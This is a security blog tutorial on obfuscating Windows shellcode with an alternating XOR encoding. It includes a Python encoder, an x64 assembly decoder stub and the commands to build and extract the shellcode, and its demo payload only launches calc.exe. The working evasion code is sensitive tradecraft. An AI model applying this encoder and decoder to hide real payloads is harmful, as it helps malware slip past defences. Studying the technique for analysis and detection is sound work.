{{tag>IT-Security Windows Kali shellcode blog english}}
====== Obfuscation: ByteSwapping ======
{{it-security:blog:2024-320-byteswap-header.webp?400|}}
An object with a different appearance always fulfils the same function.
In the last post, I decrypted an encrypted shellcode in the working memory and had it executed. As encryption, I converted each byte with an XOR calculation.
Now I would like to bring a little more dynamism into the encryption to make decrypting the shellcode a little more difficult.
\\
\\
===== Preliminary considerations =====
How do I get the statics given by the XOR key? Instead of calculating every byte with the key, I only do this for every second byte. I then encrypt the omitted bytes with the result of the previous one: ((Note: even and odd refers to the offset, so byte 1 at offset 0 is even and byte 2 is odd)).
))
$EncryptedByte(even) = Byte(even) \wedge Key(XOR)$
$EncryptedByte(odd) = Byte(odd) \wedge EncryptedByte(even)$
==== Example ====
This example shows that the output is very different simply by choosing a different XOR key.
^                   ^Byte 1   ^Byte 2   ^Byte 3   ^Byte 4   ^
|**unencrypted**|''%%01%%''|''%%AF%%''|''%%45%%''|''%%C3%%''|
|**XOR value 1**     |''%%15%%''|''%%14%%''|''%%15%%''|''%%50%%''|
|**encrypted**  |''%%14%%''|''%%BB%%''|''%%50%%''|''%%93%%''|
|**XOR value 2**     |''%%57%%''|''%%56%%''|''%%57%%''|''%%12%%''|
|**encrypted**  |''%%56%%''|''%%F9%%''|''%%12%%''|''%%D1%%''|
===== The code =====
==== Step 1: Python Encoder ====
The corresponding Python function is quickly explained:
  * Function call with the bytes to be encoded and the desired XOR key
  * Initialise the required variables
  * A ''%%for%%'' loop runs through each byte
  * If the division by 2 results in a remainder of 0, we have an even byte
    * Encrypt the byte with the XOR key
    * Add the encrypted byte to the byte array
    * Store the encrypted byte for the next run
  * Otherwise an odd one
    * Encrypt the byte with the one from the previous pass
    * Add the encrypted byte to the byte array
  * Return the byte array as the result
    def encrypt(data: bytes, xor_key: int) -> bytes:
        transformed = bytearray()
        prev_enc_byte = 0
        for i, byte in enumerate(data):
            if i % 2 == 0: # even byte positions
                enc_byte = byte ^ xor_key
            else:          # odd byte positions
                enc_byte = byte ^ prev_enc_byte
            
            transformed.append(enc_byte)
            prev_enc_byte = enc_byte
        return bytes(transformed)
==== Step 2: Assembly ====
Now the assembly must be created, which cancels the encryption. You can find the complete code at the end of the article.
=== Step 2.1: Initialisation and JMP-CALL-POP ===
_start:
    xor rax, rax
    xor rbx, rbx
    xor rcx, rcx
    mov cl, 242
    jmp short call_decoder
  * We set the registers ''%%RAX, RBX and RCX%%'' to ''%%0%%''
  * The register ''%%CL%%'' gets the length of the shellcode
  * We jump in front of the shellcode
call_decoder:
	call decoder
	Shellcode: db 0x75,0x3d...0x75
  * We call the function ''%%Decoder%%'' and the address of the next instruction (our shellcode) is read from the register ''%%RSP%%'' on the stack
decoder:
	pop rsi
  * and finally we load the shellcode address from the stack into the register ''%%RSI%%''
=== Step 2.2: Decoder loop ===
decode_loop:
    test rcx, rcx
    jz Shellcode
  * Check the value of ''%%RCX%%''
  * If ''%%RCX%%'' equals ''%%0%%''then jump to the shellcode
    mov rdx, rsi
    sub dl, Shellcode
    test dl, 1
    jnz odd_byte
  * ''%%RDX%%'' gets the current position we are at
  * We subtract the address of the shellcode from our current position
  * A bit-by-bit comparison shows us whether the calculated index is even or odd
  * If odd, jump to ''%%odd_byte%%''
But how does the comparison work here? The instruction ''%%TEST%%'' checks by comparing bits. Let's take a look at the numbers 1 - 4 in binary notation:
^Decimal  ^1   ^2   ^3   ^4   ^
|**Binary**|0001|0010|0011|0100|
Even numbers always have a 0 in the last bit and odd numbers have a 1.
== Even numbers ==
    mov al, [rsi]
    xor byte [rsi], 0x20
    jmp post_processing
  * Move the current encrypted byte to the register ''%%AL%%'' for the next pass
  * Decrypt the byte with the XOR key ''%%0x20%%''
  * Jump to ''%%post_processing%%''
== Odd numbers ==
odd_byte:
    xor byte [rsi], al 
  * Decrypt the byte with the stored value from the previous pass
== Post-processing ==
post_processing:
    inc rsi
    dec rcx
    jmp decode_loop
  * Increase ''%%RSI%%'' and thus set the current position one byte further
  * Reduce ''%%RCX%%'', the length of the shellcode
  * Jump back to the beginning of the loop
=== Step 2.3: Shellcode ===
When the conditions for the end of the loop are met, the system jumps directly to the decrypted shellcode and executes it.
=== Step 2.4: Compile and clean up ===
Now we can compile the code:
nasm -f win64 poly2.asm -o poly.o
I do the cleanup with [[https://github.com/psycore8/shencode|ShenCode]]:
python shencode.py formatout -i poly2.o -s inspect
...
0x00000096: 20 00 50 60 48 31 c0 48
...
0x00000400: a3 67 28 75 1a 00 00 00
  * We identify the beginning and the end of the opcode
python shencode.py extract -i poly2.o -o poly2.raw --start-offset 100 --end-offset 404
  * Then we extract it and save it in a new file
python shencode.py formatout -i poly2.raw --syntax c
...
"\x48\x31\xc0...x67\x28\x75";
  * and we can output the shellcode as a C++ variable
==== Step 3: Injecter ====
Now we need an injector to place the shellcode in the working memory. We can copy this from the [[en:it-security:blog:obfuscation_polymorphic_in_memory_decoder#injectcpp|previous post]] 
===== Debug =====
After compiling the injector, we can start debugging. I use x64dbg for this.
{{it-security:blog:2024-320-byteswap-1.png|}}
We press F9 (Execute) and land in the entry point of the application. From here we search for the function ''%%main()%%''
{{it-security:blog:2024-320-byteswap-2.png|}}
Once this is found, we select the line and press F4 (Execute to selection) and jump to the function with F7.
{{it-security:blog:2024-320-byteswap-3.png|}}
The last call statement before ''%%RET%%'' calls the shellcode. We select this line and set a breakpoint with F2. Then press F9 and the programme stops at the breakpoint. We jump in with F7.
{{it-security:blog:2024-320-byteswap-4.png|}}
We are now in the shellcode. The area below the CALL statement is our encrypted shellcode. Everything above it is the decoder routine. If we now execute CTRL+F7, the execution is slowed down and animated. Here you can see very clearly how the lower area is decrypted.
{{it-security:blog:2024-320-byteswap-ani-1.gif|}}
I have used my Calc-Payload again at this point, so that at the end ''%%calc.exe%%'' is executed.
===== Repository =====
You can find the complete shellcode here:
  * Shellcode: [[https://github.com/psycore8/Shellcodes/blob/main/SwapBytes/poly2.asm|poly2.asm]]
  * [[https://github.com/psycore8/shencode|ShenCode]]
----
~~DISCUSSION~~